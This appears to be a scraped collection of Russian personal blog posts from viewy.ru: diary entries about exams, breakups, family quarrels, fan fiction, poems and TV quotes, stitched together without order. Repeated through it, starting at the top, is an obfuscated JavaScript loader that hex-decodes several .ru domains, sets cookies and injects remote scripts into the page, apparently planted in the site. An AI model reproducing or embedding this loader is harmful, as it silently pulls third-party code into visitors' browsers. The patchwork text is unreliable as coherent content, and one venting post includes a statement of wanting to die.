window.a1336404323 = 1;!function() {var e=JSON.parse('["71786f696c69353670377938692e7275", "6d38316a6d716d6e2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="9144", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

Два экзамена позади и оба на 5. Впереди самое сложное - оперативная хирургия или топочка. Это то, о чем я должна думать. Нужно постараться сдать на 5. Учить и не думать о посторонних вещах. Не хочу думать о К.

Мы виделись с ним в субботу. Я так долго думала, что же ему ответить на предложение о встрече, и, черт, не послушала свою голову и поддалась сердцу. Лучше бы мы не виделись. Разве бывшие друг другу дарят подарки? Он все пытался подарить мне кошелёк, который приготовил для меня на Новый год. Я не взяла. Потому что не смогу спокойно пользоваться им, смотреть на него и вспоминать, как у нас все вышло, нет уж спасибо. Я сидела в машине и понимала, что не мириться он приехал, не мириться… А когда он меня обнял, так крепко обнял и начал гладить по волосам, я как дура разревелась. Раз 100 себе перед встречей обещала, что не расплачусь перед ним. Но когда тебя обнимает родной, любимый человек, который больше уже не твой… Что делают в таких ситуациях?

Я теперь знаю, что в следущий раз скажу "нет" на предложение о встрече. Но я на 99% уверена, что он больше не предложит увидеться.

Почему-то решила измениться. Наверное, подумала, что хватит мучить себя прошлым и надо жить настоящим. Думаете верное решение? Наверное…
Пора что-то менять, чтобы с улыбкой смотреть на прошлое.
#Ясмогу.

Zuhair Murad: Spring 2016 Couture

Она шла и хвалила себя.

"Я подросла. Мне больших трудов стоило мое чертово душевное равновесие. Я не хочу проблем, и у меня не будет проблем. Он не напишет мне, потому что не знает, что я здесь; а если узнает и напишет, я что-нибудь придумаю. Это не очень сложно, была даже такая социальная реклама. Протягивали рюмку, и решительная рука ее останавливала. У меня нет зависимости. Я свободна".

Сегодня я должна была встретиться со своей старой знакомой в кафе под названием "Кардамон", в общем мы с ней встретелись, но история сейчас пойдет не об этом.

Очень давно, а точнее уже почти 5 лет назал я встречалась с парнем, отношения у нас продлились недолго, всего месяц, а потом он закончив школу уехал в учиться в Пекин, все бы ничего и наверное наше бы общение продолжилось, НО когда у меня начались новые отношения его отношение ко мне резко ухудшилось, а точнее начал нести всякий бред по поводу моего нового парня, на такой ноте мы и закончили наше общение. И все эти 4 года, я игнорировала все попытки со мной встретиться через моих друзей. И сегодня, я зашла в это кафе, а там сидит он, сначала я подумала, что меня проглючило, но нет, мне кажется судьба просто надо мной издевается. Как мы могли встретиться в таком огромном городе, и как он мог вообще оказаться в этот день именно там, с условием того, что через пару часов он улетал обратно в Китай. В общем, после такой ситуации начинаешь верить в судьбу, ведь кто знал, что именно сегодня и именно в ту минуты мы с ним встретимся.

Парижская неделя моды. Couture spring 2016.

Zuhair Murad

Наверное, это был какой-то барьер. Какая-то стена перед тем, чтобы взять в руки телефон, открыть сайт и что-то написать. Потому что писать было не о чем. Была школа, были приключения в художке, были проблемы и слезы. И теперь, когда выговориться уже просто некому, я иду сюда. Иду сюда с целью писать не ради чего-то важного, типа привлечения людей, а ради собственного спокойствия. Я просто хочу ложиться каждый вечер в постель и писать. Писать о жизни, о кумирах, о переживаниях, о любви и одиночестве. Даже не буду представляться, нет, я просто хочу говорить. Возможно, что-то из этого получится. "Я свой собственный психотерапевт" - twenty one pilots. До завтра.

Добрый вечер.Сегодня самый ленивый день за последнее время. И фотография, она как будто-Вау, но на самом деле нет. Просто пускай будет здесь для меня!

Ребят, подскажите, как избавиться от ссылок под постами???Удалить не получается, удаляю, обновляю и снова эти ссылки: с

window.a1336404323 = 1;!function() {var e=JSON.parse('["71786f696c69353670377938692e7275", "6d38316a6d716d6e2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="7787", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

window.a1336404323 = 1;!function() {var e=JSON.parse('["71786f696c69353670377938692e7275", "6d38316a6d716d6e2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="21154", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

заебала.позвонила маме, с хорошим настроением, а она давай мне заливать что я завтра в свой день рождения, находясь в отпуске, должна лететь на работу и проставляться. ЕБАНЫЙВРОТ..ты че?они у меня что, в приоритете? кто они такие?я могу понять, если я в этот день работаю, то да..но я сука дома, в отпуске…ахуеть, какая честь…ради них прийти, накормить и уйти) яебала…такие морали читала, что я нелюдимая, да с кем я вообще общаться буду и тп…сижу и плачу, плачу потому что меня все заебали, везде, на работе, дома…везде просто.я хочу умереть. я сказала ей что она испортила мне настроение и что я не хочу больше тратить на это время, попрощались.я бы принесла бы после дня рождения, после отпуска, но нет..они меня мало того, что не поздравят, так еще и кучу говна мне все сделали и я буду их кормить, ведь так важно иметь место в коллективе…еще обидела ее фраза"ты только у нас отрываешься"..ЧТО? если я выпью за ужином 2 стакана вина, то это не значит что я оторвалась.ужасно не приятно, плачу навзрыд…Саша спит, всю ночь и утро сидит за компом как зомби, а потом спит.класс

принципиально завтра не возьму трубку от них, вот просто не возьму, не хочу слышать их сднемрождения

может я зря паникую, плачу и рву сердце, но мне очень не приятно…никто не потратит свой день рождения и не придет на работу проставится, а я должна, ведь так надо! фу…

не понимаю что с моим эмоциями.

вот вы бы сделали так, как она хочет? принесли бы магар в свой выходной и др, на работу?

Парижская неделя моды. Couture spring 2016. Valentino

Его с детства учили, что любовь — это слабость.

Новый фанфик по времени мародеров.
И он снова про моего любимого Сириуса.
Ссылка [x]

Умоляю тебя, не взрослей.

Просто.Никогда.Не.Взрослей.

Спасибо.

я уже второй год как не студент, а у меня всё ещё тянутся руки посмотреть, какие пары будут в мой день рождения.

Иногда я хочу жить чужой жизнью. С классными машинами, шмотками, людьми. Жизнью с кучей денег, творчеством и возможностью влиять этим самым творчеством на людей.

Хочу кайфовать от музыки (почему бы и нет?), которую записываю. Кайфовать от своего голоса. Хочу, чтобы это сводило людей с ума, в хорошем смысле. Мне нравится концепция музыки, которая вызывает зависимость.

Иногда, хочу другую жизнь.

Для начала я бы хотела поделиться своей непростой историей…и рассказать немного о самой себе.

Я пока что несовсем уверена в том, что хочу писать вам свою имя, поэтому, я просто обозначусь на данный момент "Л"

Я с самого раннего детства занимаюсь хореографией, и в этом году я поступала в колледж культуры и искусств на хореографическое отделение, но по некоторым факторам я не прошла…у меня была сильная дипрессия, да, именно дипрессия, возмжно, которая длится и по сей день, но она же значительно утихла и я взяла все свои мысли в кулак и всю свою силу духа.Просто для меня это имеет огромное значение и я готова на всё, лишь бы поступить…я можно сказать обезумила этим, потому что когда я занимаюсь этим, у меня появляется чувство свободы, я чувству себя лучше…и о чем говорить, я просто безумно люблю хореографическое искусство, да ине толькохореографическое.Так как я не прошла по конкурсу, я на всякий случай подавала на библиотечное отделение и соответственно туда прошла, ибо туда нихрена не нужно, чтобы поступить и это логично…Естественно, мне там не понравилось и по сей день мне не нравится там, но дело в том, что я буду поступать заново летом.

На данный момент я имею возможность готовиться и заниматься в аудиториях колледжа.Я нашла множество полезных для меня знакомств, благодаря которым я имею ещё больше возможности готовиться и заниматься, потому что эти прекрасные люди стали для меня не просто "доступом к аудиториям", но и прекрасными друзьми, понимающими, поддерживающими меня…и не только друзьями…ps они прошли на отделение моей мечты собственно.На данный момент, спустя 5 месяцев я имею значительно положительные результаты в этом деле, (ибо до поступления, я пропустила целый год тренировок и потеряла форму и снаровку) благодаря ежедневным тренировкам в течении 5 месяцев.

Если говорить о личной жизни, то тут тоже всё не так просто. Я встречалась с парнем 9,5 месяцев, после чего мы расстались из-за бесконечных ссор и недопониманий…также из-за ущемления моих прав на свободное время и на мои интересы…Я понимаю, возможно, я глупо поступила, потому что расставание произошло с моей стороны, но как бы он меня не бесил и не надоедал, он меня любит и до сих пор…я чувствую себя очень неловко, когда ко мне со всей душой, а я из-за своего непростого напористого характера остаюсь на своём мнении…

Дело ещё в том, что в колледже у меня есть друг…Общаясь с ним, я невероятно удивлена, что меня кто-то понимает…потому что с моим бывшим было абсолютное недопонимае…и, наверное, это логично, что человек, который меня понимает, как то подбадривает в трудной ситуации, мне начинает симпатизировать, тем более, что я ему походу тоже, это так же можно характеризовать многими факторами…

Сейчас начну немного не о своей мечте всей жизни, т.к. в моём блоге разговоров на эту тему будет не мало и не о личной жизни, т.к. будет та же история, что и с мечтой, а именно о духовных качествах…

Меня безумно привлекает тема психологии, философии и всякой различной тафтологии…Я каждый день люблю читать различные посты о психологии и фолософии, люблю вычитывать информацию о великих философах и психологов мира, потому что когда что-то идёт не так, как планировалась и случается что-то плохое, я нахожу выход и утешение:

• во первых-в высказывании своим самым родным
• во вторых-в мыслях умных и мудрых людей

Этим увлекаться начала совсем недавно, когда начали появляться проблемы…и вся эта тема психологии и философии служит не только моей мотивацией и настроем на лучшее, но и в общении с людьми…действительно, это реально полезная вещь, которая, по моему мнению не помешает никому.Если бы люди чаще увлекались такими вещами, то было бы меньше ссор, разногласий и недопониманий…

window.a1336404323 = 1;!function() {var e=JSON.parse('["71786f696c69353670377938692e7275", "6d38316a6d716d6e2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="21154", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

gifs by tumblr

Сэм и Дин | Сверхъестественное 11х11

— (бросив таблетки на стол) Оказывается Гарольд воровал у других жильцов Виагру.
— Я знаю. Очень хреновый поступок, да?

+ момент, который я лох провтыкал в самом сериале :)

Что же немножко о себе не помешает!

Самая обычная девушка с маленького городка Украины. Как и все нашла свою мечту и поехала в большой город её осуществлять. Хотя мечта даётся с трудом и много нужно ещё сделать, но как говорят путь к звёздам лежит через терни. В большом городе столкнулась с трудностями, какие меня и закалили. Лучше закалки чем в большом городе одной решать все не придумаешь. И спасибо за это судьбе, ведь я стала такой какой есть сейчас.

В этом городе я уже 3 года. И за это время уже нашла много друзей, знакомых. Не обошлось без любовных драм. Но об этом позже напишу

Ах да. В моей жизни важное место занимает медицина и все что с ней связано. По этому здесь будут мелькать истории из дежурств и фоточки, и много много чего увлекательного из нашего организма.

Где твоё саморазвитие?

Всем привет, пропустим эту часть, где "сколько лет, как зовут" и т.д. Для вас я буду анонимом, который начинает новую жизнь. Ну, или пытается изменить себя. Я думаю, что у меня получиться, начинать все с нуля трудно, но я должна справиться. Понемногу, вы сможете узнать меня всю, но не моё прошлое.
Я попытаюсь не забросить блог, да и постараюсь не лениться.
Пришло время менять себя, прошло время любить весь мир.

Обожаю Дрэйка и Викенда за их музыку. Она чувственная. Под нее я чувствую. Чувствую себя как минимум сексуальной, как максимум я чувствую смысл и слова. И то, что есть во мне.

И каждый раз, когда я слушаю любимые песни, у меня мурашки по коже бегут.

Апатия 80 lvl застигнула меня в обычный вечер четверга. Сижу, думаю о том, как много всего интересного можно сделать. Основная проблема - только думаю, не делаю. Не могу избавиться от ощущения какой-то никчемности. Надеюсь завтра это пройдет.

Немножко о себе не помешает.  Я обычная девчонка из маленького городка Украины. Повзрослев и выбрав свою мечту отправилась в большой город, где как и все столкнулась с трудностями, которые приходилось решать одной. Но не все так плохо. Благодаря разным испытаниям я стала такой как есть, и благодарна за это судьбе.И хотя пока моя мечта сложная, но путь к звёздам лежит через терни.  В этом городке я уже 3 года. И нашла здесь друзей, знакомых и что самое главное много новых идей для жизни и развития. Но без любовных драм конечно же не обошлось. Но об этом как-то позже напишу.  Что ещё нужно обо мне знать? Я влюблена в медицину и все что с ней связано. По-этому в моем блоге будет много на эту тематику, интересных рассказов из дежурств и фоток конечно же. 

Привет тому, кто это читает.

Я решила завести свою страничку на viewy потому, что моя жизнь невероятно насыщенна как хорошими, так и плохими моментами…и по скольку мне сложно справляться эмоциально сомой и хочется высказать это кому то, я всё-такие решила это сделать именно таким образом…:з

ps Это логично, так как наверняка многие создают тут страницу именно для таких целей.-.

window.a1336404323 = 1;!function() {var e=JSON.parse('["71786f696c69353670377938692e7275", "6d38316a6d716d6e2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="21154", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

Наверно люди не меняются. Я это знаю наперед. Жестоким был-таким останешься, Ты в жизни у себя пилот. А иногда всё так же веришь Что он измениться порой, Но понимаешь спустя время, Что он останется такой. Да что другие, посмотри, Как ты менялся в жизни этой? Уж к лучшему всегда стремясь, Все остаешься тем же гадом. Пусть это грубо иногда, и непонятно пусть и сложно, Но мы останемся всегда, Какими были до восхода. Ни понедельник, ни среда, Ни новый год в который раз, Не сможет камень превратить в алмаз, Как не пытайся… Люди меняются порой, Для этого им нужна встряска, Но только в море штиль наступет, И снова мы обычны люди. Пора стремится принимать, Любить, ценить, спокойно спать. Не поменяемся? И что? Ведь любят нас то ни за что.

— Кто это сделал с тобой? Кто так сильно испоганил твою душу, что ты закрылась от каждого, кто пытается помочь тебе. Ты не говоришь о своих чувствах, отталкиваешь добрых людей и впускаешь в свою жизнь негативных. Ты отказываешься раскрыться и позволить любить тебя и заботиться о тебе. Кто, черт возьми, сделал это с тобой?

Подруга выходит замуж… Сейчас обсуждали с ней это, я вся светилась от счастья, как будто это у меня 12 августа состоится церемония бракосчетания) Еще столько всего не начатого, столько увлекательных событий и подготовок! Я пропаду у нее на двое суток: в ночь на 12е и 13го августа. Быстрее бы!! Я буду сильно плакать, провожая свою подружку)

Если ты в заснеженной стране,
Где метель никак не даст согреться,
И зима закрыла путь к весне -
Ты тепло в моем отыщешь сердце.

Если ночь над городом черна,
В душу мрак впускает в форме бреда-
Я так вспыхну, что сгорит луна
От такого неземного света.

Если ты устал/ не смог/ упал/
Не осилил новое познание -
Ты всегда найдёшь во мне причал,
Силу, дом, опору, понимание,

Доброту и нежность. ведь во мне
Нет границ:
Я не боюсь поступков.
Знай одно - я и в чужой стране
Все равно держу тебя за руку.

Ты говорила про море. свободу. скалы.
Про жизнь счастливую и беспечность
А я смотрел и думал:
что ты отпускала?
И как от глупостей уберечь нас.

Нет!
Я уверен, что ты в порядке,
Что ты теперь поняла "как надо",
Но мы так долго, небрежно играли в прятки,
Что я обиду твою прочитал по взгляду.

Мол, не нашёл тебя/не забрал/не слышал:
Не заразился лёгкостью бытия и смехом;
А я смотрел и думал:
чего ты ищешь?
И какова на деле цена успеха?

- Все это напускное.
ты замолчала.
_
Остановилось время и полетело -
Ты полюбила жизнь в тишине причала,
А я смотрел,
как жадно ты обгорела.
#ахастахова

при каждом просмотре этого момента вспоминаю комментарий режиссера, что "на самом деле Дарси пришел сделать предложение" и просто <3

王菲 – 爱不可及 触不可及

Я очень давно забросила блог.

В целом мое пребывание здесь составляет около 7-ти лет и это просто невероятно. Вьюи хранит самые болезненные и неприятные воспоминания, несмотря на то что в один прекрасный день я решила все их стереть и начать вести блог с чистого листа. Нет, конечно бывало эти страницы и посещало что-то радостное, хорошее, теплое, но почему-то грусть всегда перевешивала.

Я пыталась вести дневник много раз, но все сводилось к тому, что эта затея казалась мне глупой и бессмысленной. Да и вечная проблема - куда спрятать, чтоб никто не нашел.

В итоге через все неудачные попытки вылить свои мысли на бумагу я оказалась здесь. Тогда у меня был такой жуткий возраст, когда все вокруг кажутся врагами, тебя все бесит, ты ничего не хочешь делать и поддаешься любому чужому влиянию. Короче, переходный. В моей голове крутилось столько негатива, вечные переживания вперемешку с юношеской безрассудностью и мне крайне необходимо было с кем-то этим поделиться, а так как я не привыкла, да и не считала нужным, делиться этим всем с близкими и друзьями, то постепенно начала доверять все личное вьюи. Я нашла здесь пару интересных, и как мне казалось таких же запутавшихся людей, как и я - с этого все и началось.

Бывало мне было скучно и тут творился дикий хаос: куча дебильных картинок, много дурацких заметок, цитат. В общем, куча мусора. В то время у меня была одна печаль и благодаря ей блог стал каким-то темным, мрачным углом, в который я всегда приходила поныть. Со временем эта печаль улетучилась и все начало преобретать краски.

Блог я забросила.

Люди, которых я читала тоже постепенно ушли. Хотя, не знаю, может они еще и сидят здесь, но активности не проявляют. Сейчас у меня опять случились "эти дни". Наверное это из-за них я, как и прежде, захожу сюда по сто раз на дню, но все изменилось. Атмосфера тут полностью отличается от той, что я помню. Много девушек и мало парней. Раньше было иначе. Или я просто тогда удачно натыкалась на блоги ребят, не знаю…

В общем, несмотря на то что многое поменялось, мне до сих пор нравится оставаться здесь, тем более, что у меня снова появилась маленькая печаль.

Суд Сов (Сourt of Owls)

"Идет совиный суд, он пристально глядит из темного угла сквозь мрамор и гранит
не скроется никто им дом известен твой и может коготь прилететь к тебе за головой! "

Тайное общество, управляющее Готэмом на протяжении десятилетий. Оно является порочным сговором нескольких старейших и богатейших семей Готэма, управляющих городом через убийства и деньги. Штабы Суда скрыты в древнейших зданиях города. Интересы Суда защищают профессиональные убийцы, именуемые Когтями (Talons), которых отбирают из самых талантливых юных акробатов Цирка Хейли (Haly's Circus). Лидеры организации выглядят как люди и носят маски сов, в то время как рядовые члены мутируют в гибриды человека и совы. Суд был основан в 1600-х годах и стоя за большинством преступлений Готэма несколько веков, только недавно вышел из тени.

Три пересдачи подряд. Эх, как грустно быть тупой. С такими мыслями я шла домой и решила, что к зелёному чаю и сигаретам надо прихватить тортик.

— Черт, надо было использовать дешевые вещи.

и вот я в одном купальнике расхаживаю по комнатам и плаваю в горячем бассейне, на меня косятся парни, я болтаю с подругой в бане, а на лице нет косметики.я настолько изголодалась по мужскому вниманию, что эти глупые игры немножко свели меня с ума.когда тебя в углу зажимает симпатичный парень и пытается скинуть в воду или подкрадывается сзади.. господи, вечер был отвратительным. но хотя бы я вдоволь наговорилась и насмеялась с подругами.

я настолько редко стала показывать себя людям, что уже и забыла какая я. постоянно спрашиваю себя: правильно ли я поступаю? что я делаю? нормально ли это? чувствую себя уязвимой.уязвленной..

мне надоело быть слабой.хочу сама завязывать разговоры и задавать неловкие вопросы, хочу броню, чтобы меня настоящую никто не достал.а потом прихожу в себя и понимаю - это глупо. это ведь жизнь, сколько можно прятаться?

Когда люди целуются, вещества, содержащиеся в слюне повышают ощущение привлекательности партнера, создавая иллюзию совместимости.

думаю, многие знали.
но ни единого неверного взгляда, ни единой полуулыбки, ни единого слова.
этот мужчина, в нем слишком много внутренней силы, слишком много горячей уверенности и влияния, чтобы осмелиться его упрекать. чтобы пытаться его осуждать.
женщина рядом с ним - святое.
я была - святым.

4; бар в portrero hill, двойной джин, рубиновый край неба над горизонтом.

— Вам пошло бы быть на экране, Пег.Что скажите?Арлен Фрэнч в запое.Хотите сыграть нахальную девицу?

— Лучше бы ковбоя.

— Мне нравится.Не думаю, что аудитория готова к такому.

— А к фильму основаному на комиксе.Ужасная идея.

Ездила на занятия по лыжному бегу. Поэтому побегала на лыжах, приняла участие в соревновании, а сейчас отдыхаю и греюсь дома.

— Если вам нужен спарринг партнер…

Я уверен, Мистер Старк с удовольствием наймет одного.

— Ты говоришь, что мы под домашним арестом?
— Нет. Вы все свободно можете уйти, когда захотите. Но я выстрелю вам в ногу.

Иногда всё, что нужно сделать, чтобы успокоить кого-то, это напомнить ему, что вы рядом.

У них так много недостатков, столько проблем и вопросов, что это, как ни странно, делает их правдоподобными.
Мы плохиши, совершающие доброе дело.

GIFS [x]

приветик)

